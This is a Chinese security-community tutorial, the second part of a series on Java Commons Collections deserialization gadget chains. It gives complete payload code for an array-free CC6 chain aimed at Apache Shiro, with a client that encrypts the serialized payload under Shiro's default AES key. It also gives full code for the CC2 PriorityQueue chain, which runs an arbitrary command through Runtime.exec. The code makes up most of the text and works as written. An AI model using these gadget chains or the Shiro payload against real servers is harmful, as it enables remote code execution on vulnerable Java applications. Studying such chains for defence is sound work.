cc链总结(二)

wsYu9a2025-09-08文章来源:SecHub网络安全社区


0x06 无数组cc6

众所周知,原生的cc6打shiro会报错!p牛最后总结出的原因如下:

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那我们如何来解决这个问题?

前面说到的TemplatesImpl就可以利用了,通过下面这几行代码来执行一段Java的字节码:

TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();

接下来利用InvokerTransformer调用TemplatesImpl#newTransformer方法:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };

这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry类有个getValue方法,调用了map的get方法,并传入key:

65f83210e6d3b.png

public Object getValue() { return map.get(key); }

当这个map是LazyMap时,其get方法就是触发transform的关键点

public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们再回看前面的Transform数组:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };

new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。

改造一下CommonsCollections6

首先还是创建TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发

Transformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear();

和我之前的CommonsCollections6稍有不同的是,我之前是使用 outerMap.remove(“keykey”); 来移 除key的副作用,现在是通过 outerMap.clear(); ,效果相同。 最后,将 InvokerTransformer 的方法从人畜无害的 getClass ,改成 newTransformer ,正式完成武 器装配。

完整payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public byte[] getpayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer"); // ================== // 生成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); return barr.toByteArray(); } }

对象序列化成字节数组

//对象 barr,这是一个内存中的缓冲区,用于暂时存储将要被序列化的对象数据 ByteArrayOutputStream barr = new ByteArrayOutputStream(); //对象 oos,与 ByteArrayOutputStream 相关联,用于将对象写入 ByteArrayOutputStream ObjectOutputStream oos = new ObjectOutputStream(barr); //oos.writeObject(expMap) 将对象 expMap 序列化并写入 ByteArrayOutputStream 中 oos.writeObject(expMap); //oos.close() 关闭 ObjectOutputStream oos.close(); //barr.toByteArray() 方法,将 ByteArrayOutputStream 中的数据转换为字节数组 barr.toByteArray();

无数组cc6打shiro

poc:

import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; public class Client { public static void main(String []args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.xxx.class.getName());//恶意类 byte[] payloads = new CommonsCollectionsShiro().getpayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }

javassist生成字节码

在上边我们利用cc6打shiro时利用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 。

0x06 cc2

前言

由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

commons-collections4的改动

因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

<dependencies> <!-- https://mvnrepository.com/artifact/commons-collections/commonscollections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies

因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

65f8497a07a11.png

看下decorate的定义,⾮常简单:

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final Transformer<? super K, ? extends V> factory) { return new LazyMap<K,V>(map, factory); }

所以,我们将Gadget中出错的代码换⼀下名字:

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

65f84a9bca2ad.png

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

cc2

其中两个关键类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

65f84af8a78c7.png

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }

所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1)}; Transformer[] transformers= new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建⼀个TransformingComparator,传⼊我们的Transformer

Comparator comparator = new TransformingComparator(transformerChain);

实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

setFieldValue(transformerChain, "iTransformers", transformers)

完整payload:

import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; public class cc2 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"} )}; Transformer chain = new ChainedTransformer(fakeTransformers); Comparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2); setFieldValue(chain, "iTransformers", transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }

0x07 cc4、5、7

https://www.cnblogs.com/gk0d/p/16886697.html

0x08 参考

https://www.cnblogs.com/gk0d/category/2232825.html

https://govuln.com/docs/java-things/